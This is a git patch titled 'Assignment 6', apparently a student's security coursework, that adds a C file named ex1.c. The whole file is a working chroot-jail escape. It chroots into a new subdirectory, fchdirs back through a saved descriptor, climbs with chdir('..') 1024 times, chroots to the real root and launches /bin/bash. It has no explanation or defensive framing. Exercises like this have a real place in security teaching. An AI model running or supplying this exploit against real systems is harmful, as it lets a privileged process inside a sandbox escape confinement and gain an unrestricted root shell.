From 29d4f26127ef8f3925df8437b41c89e3093d3508 Mon Sep 17 00:00:00 2001
From: Camil Staps
Date: Tue, 29 Dec 2015 21:59:09 +0100
Subject: Assignment 6

---
 CamilStaps-s4498062-Assignment-6/ex1.c | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)
 create mode 100644 CamilStaps-s4498062-Assignment-6/ex1.c

(limited to 'CamilStaps-s4498062-Assignment-6/ex1.c')

diff --git a/CamilStaps-s4498062-Assignment-6/ex1.c b/CamilStaps-s4498062-Assignment-6/ex1.c
new file mode 100644
index 0000000..0ce1505
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-6/ex1.c
@@ -0,0 +1,23 @@
+#include <fcntl.h>
+#include <stdio.h>
+
+int main(void) {
+        int cwdf, x;
+
+        mkdir("crowbardir", 0755);
+
+        cwdf = open(".", O_RDONLY);
+
+        chroot("crowbardir");
+
+        fchdir(cwdf);
+        close(cwdf);
+
+        for (x=0; x<1024; x++)
+                chdir("..");
+
+        chroot(".");
+
+        system("/bin/bash");
+}
+
-- 
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